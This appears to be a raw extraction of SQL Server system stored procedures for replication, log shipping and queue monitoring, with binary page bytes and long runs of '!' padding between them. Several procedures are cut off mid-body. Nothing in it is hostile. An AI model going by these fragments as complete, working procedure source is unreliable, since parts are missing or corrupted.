                    ,@curdate_utc = @curdate_utc
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingretentioncleanup'
            begin try
                exec @retcode = @linkcmd 
                    @agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@history_retention_period = @history_retention_period
                    ,@curdate_utc = @curdate_utc
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done
    --
    return 0
end
subscribed

	    if @publication_id is not null
	    begin
			-- Get the publication name to use later in the formated message
			select @publication = publication from dbo.MSpublications where
				publication_id = @publication_id

	        -- If there's more than one article in subscribed state
	        -- Send a general waiting message.
	        -- Otherwise, indicate the article name
	        if exists (select * from dbo.MSsubscriptions where
	            agent_id = @agent_id and
	            status = @subscribed and
	            sync_type = @automatic and
	            article_id <> @article_id)
	        begin
				-- Snapshot not available message
				if @publication is not null
		            select @msg = formatmessage(21075, @publication)
				else -- It is null for 6.5
		            select @msg = formatmessage(21088)
	        end
	        else
	        begin
	            -- article_id is unique across pub db for tran
				-- but merge article may use the same id
	            select @article = article from MSarticles where
	                article_id = @article_id and
					publication_id = @publication_id
	            -- It is null for 6.5
	            if @article is not null
	                select @msg = formatmessage(21076, @article)
	            else
				begin
					-- Snapshot not available message
					if @publication is not null
						select @msg = formatmessage(21075, @publication)
					else -- It is null for 6.5
						select @msg = formatmessage(21088)
				end
	        end

	        -- If one article is active, the status is active
	        if exists ( select * from dbo.MSsubscriptions where
	            agent_id = @agent_id and
	            sync_type = @automatic and
	            status = @active)
	            set @status = @active
	        else
	            set @status = @subscribed
	    end
		else
		-- For concurrent snapshot, logreader has to run first.
		begin
	 		select top 1 @publication_id = publication_id, @status = status from dbo.MSsubscriptions s where
	        		s.status = @initiated and
			        s.agent_id = @agent_id and
	        		s.sync_type = @automatic

			if @publication_id is not null
			begin
				select @publication = publication from dbo.MSpublications where
					publication_id = @publication_id
				select @msg = formatmessage(21388, @publication)
			end
		end
	end
	
    -- If nothing returned, all articles are active.
    select 'msg' = @msg, 'status' = @status 
        where @msg is not null
end
0;s@ z8CREATE PROCEDURE sys.sp_MSdrop_subscription_3rd
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname = NULL
)
AS
BEGIN
	-- 'sp_MSdrop_subscription_3rd' is no longer supported. 
	RAISERROR(21023, 16, -1, 'sp_MSdrop_subscription_3rd')
	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:9<dLD0)X :8create procedure sys.sp_ivindexhasnullcols (
    @viewname sysname
    ,@fhasnullcols bit OUTPUT
)
as
begin
   declare @f_ind_unique bit
            ,@f_ind_clustered bit
            ,@ivobject_id int
            ,@indkey int
            ,@key sysname
			,@retcode int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- validate view object
    --
    select @ivobject_id = object_id(@viewname)
            ,@fhasnullcols = 0
            
    if (@ivobject_id IS NULL or @ivobject_id = 0)
    begin
        raiserror(15390, 16, 1, @viewname)
        return 1
    end

    --
    -- get the clustered index and validate
    --
    select @f_ind_unique = case (status & 2) when 0 then 0 else 1 end
            ,@f_ind_clustered = case (status & 16) when 0 then 0 else 1 end 
    from dbo.sysindexes
    where id = @ivobject_id and indid = 1
    
    if (@f_ind_unique != 1) or (@f_ind_clustered != 1)
    begin
        raiserror(21751, 16, 1, @viewname)
        return 1
    end
    
    --
    -- create an enumeration of all the columns that are part of the view index
    --
    create table #indcoltab(vindexcol int identity, keyname sysname collate database_default not null)
    select @indkey = 1
    while (@indkey <= 16)
    begin
        select @key = index_col( @viewname, 1, @indkey )
        if (@key is null)
            break
        else
            insert into #indcoltab(keyname) values(@key)

        select @indkey = @indkey + 1
    end

    --
    -- We should not have any column participating in this index
    -- that allows NULL if we do
    -- mark the output flag to TRUE
    --
    if exists (select * 
        from sys.columns 
        where object_id = @ivobject_id 
            and is_nullable = 1
            and name in (select keyname from #indcoltab))
    begin
        select @fhasnullcols = 1
    end

    --
    -- all done, cleanup and return
    --
    drop table #indcoltab
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`e<r
~Mw1	0a 88\N0ʈd 8CREATE VIEW sys.availability_groups_cluster AS
	SELECT 
		group_id = ags.group_id,
		name = CONVERT(sysname, ags.name),
		resource_id = CAST(ags.resource_id AS nvarchar(40)),
		resource_group_id = CAST(ags.resource_group_id AS nvarchar(40)),
		failure_condition_level,
		health_check_timeout,
		automated_backup_preference,
		automated_backup_preference_desc
	FROM OpenRowset(TABLE DM_AVAILABILITY_GROUPS_CLUSTER) ags
0a@ D8Ih80( =8create procedure sys.sp_MSsub_set_identity
@objid int,
@threshold int,
@range bigint,
@next_seed bigint
as
    declare @retcode int

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- Stored last_seed in @next_seed
    select @next_seed = @next_seed - @range

    update MSsub_identity_range set 
        last_seed = @next_seed,
        threshold = @threshold,
        range = @range
        where objid = @objid
    IF @@ERROR <> 0
        return 1
    -- RESEED and change constraint
    exec @retcode = sys.sp_MSreseed
        @objid = @objid,
        @next_seed = @next_seed,
        @range = @range,
        @is_publisher = -1
    IF @@ERROR <> 0 OR @retcode <> 0
        return 1
0 P8TOh	>	dKp	0@ 8create procedure sys.sp_check_dynamic_filters @publication sysname
as
    set nocount on
    
    declare @can_use_partition_groups bit
    , @has_dynamic_filters bit
    , @dynamic_filters_function_list nvarchar(500)
    , @validate_subscriber_info nvarchar(500)
    , @uses_host_name bit
    , @uses_suser_sname bit
    , @retcode int
    
    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication=@publication
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    
    exec @retcode = sys.sp_MScheck_dynamic_filters @publication = @publication    
                                                    , @can_use_partition_groups = @can_use_partition_groups output
                                                    , @has_dynamic_filters = @has_dynamic_filters output
                                                    , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                    , @validate_subscriber_info = @validate_subscriber_info output
                                                    , @uses_host_name = @uses_host_name output
                                                    , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        return 1
        
    select can_use_partition_groups = @can_use_partition_groups
    , has_dynamic_filters = @has_dynamic_filters
    , dynamic_filters_function_list = @dynamic_filters_function_list
    , validate_subscriber_info = @validate_subscriber_info
    , uses_host_name = @uses_host_name
    , uses_suser_sname = @uses_suser_sname
    
    return 0
                                    
0Al 8create procedure sys.sp_MSadd_filteringcolumn 
	@pubid uniqueidentifier,
	@tablenick int,
	@column_name sysname
as
	declare @retcode int
	, @objid int
	, @column_id int

	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1
	
	select @objid = objid from dbo.sysmergearticles
	where pubid = @pubid
	and nickname = @tablenick
	
	if @objid is not null
	begin
		select @column_id = column_id from sys.columns
		where object_id = @objid
		and name = @column_name
		
		if @column_id is not null
		begin
			insert into dbo.MSmerge_filteringcolumns_lightweight (publication_id, tablenick, column_id) 
				select @pubid, @tablenick, @column_id
				where not exists (select * from dbo.MSmerge_filteringcolumns_lightweight
									where publication_id = @pubid
									and tablenick = @tablenick
									and column_id = @column_id)
		end
	end
0K@ 8
create procedure sys.sp_MSSQLDMO90_version
as
	/* Values for this are same as @@microsoftversion */
   /* @@microsoftversion format is 0xaaiibbbb (aa = major, ii = minor, bb[bb] = build #) */
	declare @i int
	select @i = 0x09000000	/* Must be in hex! */

	/* Select the numeric value, and a conversion to make it readable */
	select N'Microsoft SQLDMO Scripts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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6e
`D
<8NM1',Y04@ 8create procedure sys.sp_MSpost_auto_proc 
(
    @pubid int, 
    @artid int, 
    @procmapid int,
    @pubname sysname = NULL,
    @artname sysname = NULL,
    @publisher sysname = NULL, 
    @dbname sysname = NULL,
    @for_p2p_ddl bit = 0,
    @format int = 0
    ,@has_ts bit = 0
    ,@has_ident bit = 0
    ,@alter bit = 0 -- need to be passed on to sp_MSarticle_synctran_commands to handle ddl and upgrade differently
)
as
begin
    declare @proctext nvarchar(max)
                ,@retcode int
                ,@procname nvarchar(256)

    declare @sql_cmd_type int
                ,@k_scriptcustominsproc tinyint
                ,@k_scriptcustomdelproc tinyint
                ,@k_scriptcustomupdproc tinyint
                ,@k_getsynctrancmds tinyint
                ,@k_scriptsubcftable tinyint
                ,@k_scriptinsproccore tinyint
                ,@k_scriptdelproccore tinyint
                ,@snapshot_bit int

    set nocount on
    select @retcode = 0
            ,@sql_cmd_type = 11 -- make it a sql_altertable type so the same logic in coresub.cpp can handle both 'alter table' and regen procs
            ,@k_scriptcustominsproc = 1
            ,@k_scriptcustomdelproc = 2
            ,@k_scriptcustomupdproc = 3
            ,@k_getsynctrancmds = 4
            ,@k_scriptsubcftable = 5
            ,@k_scriptinsproccore = 6
            ,@k_scriptdelproccore = 7
            ,@snapshot_bit = 0x80000000


    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- validate @procmapid
    --
    if (@procmapid in (@k_scriptcustominsproc, @k_scriptcustomdelproc, 
                @k_scriptcustomupdproc, @k_getsynctrancmds, @k_scriptsubcftable,
                @k_scriptinsproccore, @k_scriptdelproccore))
    begin
        select @procname = case 
            when (@procmapid = @k_scriptcustominsproc) then N'sys.sp_MSscriptcustominsproc'
            when (@procmapid = @k_scriptcustomdelproc) then N'sys.sp_MSscriptcustomdelproc'
            when (@procmapid = @k_scriptcustomupdproc) then N'sys.sp_MSscriptcustomupdproc'
            when (@procmapid = @k_getsynctrancmds) then N'sys.sp_MSarticle_synctran_commands'
            when (@procmapid = @k_scriptsubcftable) then N'sys.sp_scriptsubconflicttable'
            --when (@procmapid = @k_scriptinsproccore) then N'sys.sp_scriptinsproccore'
            when (@procmapid = @k_scriptinsproccore) then N'sys.sp_scriptdropinsreconciliationproc_sqlclr'
            --when (@procmapid = @k_scriptdelproccore) then N'sys.sp_scriptdelproccore'
            when (@procmapid = @k_scriptdelproccore) then N'sys.sp_scriptdropdelreconciliationproc_sqlclr'
            end
    end
    else
    begin
        raiserror(15021, 16, -1, '@procmapid')
        return 1
    end

    -- save the generation code
    create table #temptext (colidx int identity, col nvarchar(max) collate database_default)
    if @procmapid = 6   -- sys.sp_scriptinsproccore, called to cleanup CCS reconcil procs only 
    begin
        insert #temptext (col) exec @procname @artid = @artid
                                    ,@mode = 3  -- droponly 
                                    ,@publishertype = 1  --mssqlserver
                                    ,@format = @format
		select @sql_cmd_type = @sql_cmd_type
	end                             
    else if @procmapid = 7   -- sp_scriptdelproccore, called to cleanup CCS reconcil procs only 
    begin
        insert #temptext (col) exec @procname @artid = @artid
                                    ,@mode = 3  -- droponly 
                                    ,@publishertype = 1  --mssqlserver
                                    ,@format = @format
		select @sql_cmd_type = @sql_cmd_type
	end                             
    else if @procmapid in (1, 2, 3)  -- custom procs
        insert #temptext (col) exec @procname @artid = @artid, @usesqlclr = 1, @inDDLrepl = 1
    else if @procmapid = 5  -- cft tables
	    insert #temptext (col) exec @procname @publication = @pubname 
                                        ,@article = @artname 
                                        ,@alter = 1
                                        ,@usesqlclr = 1
    else if @procmapid = 4  -- sync triggers on subscriber
        insert #temptext (col) exec @procname @publication = @pubname
										,@article = @artname
										,@command_only = 1
										,@publisher = @publisher
										,@publisher_db = @dbname
										,@has_ts = @has_ts
										,@has_ident = @has_ident
										,@alter = @alter -- ddl calls this guy with @alter set to 1, upgrade calls it with 0
                                        ,@usesqlclr = 1 
    else
    begin
        raiserror(15021, 16, -1, '@procmapid')
        return 1
    end

    -- if this is for the Peer-To-Peer auto-gen proc case caused by 
    -- ddl being applied via the distribution agent then we will want
    -- to post these commands as a special type so we are aware that 
    -- we will need to perform special error handling in the dist agent
    if @for_p2p_ddl = 1
    begin
        select @sql_cmd_type = 44 -- REPL_PEERTOPEERAUTOPROC
    end
    -- post to the log
    declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
        select col from #temptext order by colidx
    open #trancolumn
    fetch #trancolumn into @proctext
    while (@@fetch_status <> -1)
    BEGIN
        if(@proctext = N'go') -- post the drop as one command
        begin
            exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, @sql_cmd_type, N' -- '
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        else
        begin
            select @proctext = @proctext + N' '
            exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @sql_cmd_type, @proctext
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        fetch #trancolumn into @proctext
    END
    exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, @sql_cmd_type, N' --'
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    close #trancolumn
    deallocate #trancolumn
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<8O]Vɹ0p 	8create procedure sys.sp_MSrepl_backup_start
as
    declare @sync_bit int
    declare @dist_bit int
            
    set nocount on

    set @sync_bit = 32
    set @dist_bit = 16

    -- security Check
    -- BACKUP/RESTORE statements require sysadmin, dbcreator, dbo
    if isnull(is_srvrolemember('sysadmin'),0) = 0 
        and isnull(is_srvrolemember('dbcreator'),0) = 0
        and isnull(is_member('db_owner'),0) = 0
    begin
        raiserror(18799, 16, -1) 
        return (1)
    end
    
    -- If this is a distribution database and it is marked by 'sync with backup'
    if exists (select * from master.dbo.sysdatabases where
        name = db_name() collate database_default and
        category & (@sync_bit | @dist_bit) = @sync_bit | @dist_bit)
    begin
        update MSrepl_backup_lsns set next_xact_id = t2.xact_id, next_xact_seqno = m.xact_seqno from 
            (select tm.publisher_database_id, max(tm.xact_seqno) from 
                -- max seqno of xacts not involved in partial tran processing
                (select t.publisher_database_id, max(substring(t.xact_seqno, 1, 10)) from 
                    MSrepl_transactions t where
                    not t.xact_id = 0x0 
                    group by t.publisher_database_id, substring(t.xact_seqno, 1, 10)
                    having count(t.xact_seqno) < 2
                union
                -- max seqno of xacts involved in and completed partial tran processing
                select t.publisher_database_id, max(substring(xact_seqno, 1, 10)) from
                    MSrepl_transactions t where
                    not t.xact_id = 0x0 
                    and t.xact_id = substring(t.xact_seqno, 1, 10)
                    group by t.publisher_database_id
                )as tm(publisher_database_id, xact_seqno) -- derived table containing up to 2 rows per publication_database_id
            group by tm.publisher_database_id -- derived table containing up to 1 row per publication_database_id
            )as m(publisher_database_id, xact_seqno), 
            MSrepl_transactions t2              
        where m.publisher_database_id = MSrepl_backup_lsns.publisher_database_id and
                t2.publisher_database_id = MSrepl_backup_lsns.publisher_database_id and
                t2.xact_seqno   = m.xact_seqno
        if @@error <> 0
            return 1
    end
    
    return 0
    
0 z|@ 8
create procedure sys.sp_MSgetlastrecgen
    (@repid uniqueidentifier)
as
    declare @retcode    int

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if @retcode<>0 or @@ERROR<>0 return (1)

    if object_id('MSmerge_contents') is NULL and 
       object_id('MSmerge_rowtrack') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    if (@repid is null)
    begin
        RAISERROR(14043, 16, -1, '@repid', 'sp_MSgetlastrecgen')
        return (1)
    end

    select recgen, recguid from dbo.sysmergesubscriptions where subid = @repid
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<(PO@R.v"create procedure sys.sp_replqueuemonitor (
    @publisher      sysname = NULL
    ,@publisherdb   sysname = NULL
    ,@publication   sysname = NULL
    ,@tranid            sysname = NULL
    ,@queuetype     tinyint = 0 -- 0 = All Queues, 1 = MSMQ, 2 = SQL
)
as
begin
    set nocount on
    declare @retcode int
            ,@queue_server sysname
            ,@queue_id sysname
            ,@data varbinary(8000)
            ,@datalen int
            ,@commandtype int
            ,@cmdstate bit
            ,@mesglen int
            ,@command nvarchar(4000)
            ,@partialindex int
            ,@rowlen int
            ,@comandlen int

    declare @k_mesg_partial_state bit
            ,@k_mesg_complete_state bit
            ,@k_mesg_tran_cmd int
            ,@k_max_rowlen int
            ,@k_queuetype_all tinyint
            ,@k_queuetype_msmq tinyint
            ,@k_queuetype_sql tinyint

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    create table #mesgs (mesgid int identity PRIMARY KEY, queuetype tinyint default 1, publisher sysname collate database_default, publisher_db sysname collate database_default, publication sysname collate database_default, 
                            tranid sysname collate database_default, commandlen int, command ntext)

    --
    -- Check if need to look for subscriptions
    --
    if exists (select * from sys.objects where name = 'MSsubscription_agents')
    begin
        --
        -- Are there any qualifying subscriptions
        --
        if exists (select * from dbo.MSsubscription_agents where
                publisher = case when @publisher is NULL then publisher else UPPER(@publisher) end AND
                publisher_db = case when @publisherdb is NULL then publisher_db else @publisherdb end AND
                publication = case when @publication is NULL then publication else @publication end )
        begin
            --
            -- initialize
            --
            select  @k_queuetype_all = 0
                    ,@k_queuetype_msmq = 1
                    ,@k_queuetype_sql = 2
                    
            --
            -- MSMQ based
            --
            if (@queuetype in (@k_queuetype_all, @k_queuetype_msmq) and
                exists (select * from dbo.MSsubscription_agents where
                    publisher = case when @publisher is NULL then publisher else UPPER(@publisher) end AND
                    publisher_db = case when @publisherdb is NULL then publisher_db else @publisherdb end AND
                    publication = case when @publication is NULL then publication else @publication end  AND
                    update_mode IN (2,3) AND
                    queue_id != N'mssqlqueue'))
            begin
                --
                -- enumerate each queue
                --
                create table #queues (publisher sysname collate database_default, publisher_db sysname collate database_default, publication sysname collate database_default, queue_id sysname collate database_default)
                declare #htempcursor cursor local for
                    select publisher, publisher_db, publication, queue_server, queue_id 
                    from dbo.MSsubscription_agents 
                    where
                        publisher = case when @publisher is NULL then publisher else UPPER(@publisher) end AND
                        publisher_db = case when @publisherdb is NULL then publisher_db else @publisherdb end AND
                        publication = case when @publication is NULL then publication else @publication end  AND
                        update_mode IN (2,3) AND
                        queue_id != N'mssqlqueue'

                open #htempcursor
                fetch #htempcursor into @publisher, @publisherdb, @publication, @queue_server, @queue_id
                while (@@fetch_status = 0)
                begin
                    --
                    -- add the queue server prefix
                    --
                    select @queue_id = N'DIRECT=OS:' + @queue_server + N'\PRIVATE$\' + @queue_id
                    
                    --
                    -- Display all the messages in this queue
                    --
                    insert into #mesgs (publisher, publisher_db, publication, tranid, commandlen, command)
                        exec @retcode = sys.xp_displayqueuemesgs @publisher, @publisherdb, @publication, @queue_id, @tranid
                    if (@retcode != 0 or @@error != 0)
                        return 1

                    --
                    -- fetch next row
                    --
                    fetch #htempcursor into @publisher, @publisherdb, @publication, @queue_server, @queue_id
                end
                close #htempcursor
                deallocate #htempcursor
    
                --
                -- All MSMQ Queues processed
                --
                drop table #queues
            end
            
            --
            -- SQL Queued based
            --
            if (@queuetype in (@k_queuetype_all, @k_queuetype_sql) and
                exists (select * from dbo.MSsubscription_agents where
                    publisher = case when @publisher is NULL then publisher else UPPER(@publisher) end AND
                    publisher_db = case when @publisherdb is NULL then publisher_db else @publisherdb end AND
                    publication = case when @publication is NULL then publication else @publication end  AND
                    update_mode IN (4,5) AND
                    queue_id in( N'mssqlqueue', N'mssqlqueuev2')))
            begin
                --
                -- check if we have a queue
                --
                if exists (select * from sys.objects where name = 'MSreplication_queue')
                begin
                    --
                    -- initialize
                    --
                    select @mesglen = 0
                            ,@partialindex = 0
                            ,@k_mesg_partial_state = 1
                            ,@k_mesg_complete_state = 0
                            ,@k_mesg_tran_cmd = 1
                            ,@k_max_rowlen = 8000
                    
                    --
                    -- select the messages that qualify
                    --
                                            
                    declare #htempcursor cursor local for
                        select publisher, publisher_db, publication, tranid, datalen, data, commandtype, cmdstate
                        from dbo.MSreplication_queue 
                        where
                            publisher = case when @publisher is NULL then publisher else UPPER(@publisher) end AND
                            publisher_db = case when @publisherdb is NULL then publisher_db else @publisherdb end AND
                            publication = case when @publication is NULL then publication else @publication end  AND
                            tranid = case when @tranid IS NULL then tranid else @tranid end
                    open #htempcursor
                    fetch #htempcursor into @publisher, @publisherdb, @publication, @tranid, @datalen, @data, @commandtype, @cmdstate
                    while (@@fetch_status = 0)
                    begin
                        --
                        -- check the message state
                        --
                        if (@cmdstate = @k_mesg_partial_state)
                            select @partialindex = @partialindex + 1
                        select @mesglen = @mesglen + @datalen

                        --
                        -- process the body only for command type messages
                        -- and if the command spans multiple rows, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Q
I]"then
                        -- display only the first row
                        --
                        if ((@commandtype = @k_mesg_tran_cmd) and
                            ((@cmdstate = @k_mesg_complete_state and @partialindex = 0) or
                            (@cmdstate = @k_mesg_partial_state and @partialindex = 1)))
                        begin
                            --
                            -- decode the command
                            --
                            exec @retcode = sys.xp_decodequeuecmd @data, @command OUTPUT
                            if (@retcode != 0 or @@error != 0)
                                return 1
                        end
                        
                        --
                        -- Are processing the final row for this command
                        --
                        if (@cmdstate = @k_mesg_complete_state)
                        begin
                            --
                            -- reset partial index
                            --
                            if (@partialindex > 0)
                                select @partialindex = 0

                            if (@command IS NOT NULL)
                            begin
                                --
                                -- check if the command needs to truncated to fit the max rowsize
                                --
                                select @rowlen = 4 + DATALENGTH(@k_queuetype_sql) + 
                                                 DATALENGTH(@publisher) + DATALENGTH(@publisherdb) +
                                                 DATALENGTH(@publication) + DATALENGTH(@tranid) + 
                                                 DATALENGTH(@mesglen)
                                        ,@comandlen = DATALENGTH(@command)
                                if (@rowlen + @comandlen > @k_max_rowlen)
                                begin
                                    select @comandlen = @k_max_rowlen - @rowlen
                                    select @comandlen = @comandlen / 2
                                    select @command = SUBSTRING(@command, 1, @comandlen)
                                end
                                
                                insert into #mesgs (queuetype, publisher, publisher_db, publication, tranid, commandlen, command)
                                values (@k_queuetype_sql, @publisher, @publisherdb, @publication, @tranid, @mesglen, @command)
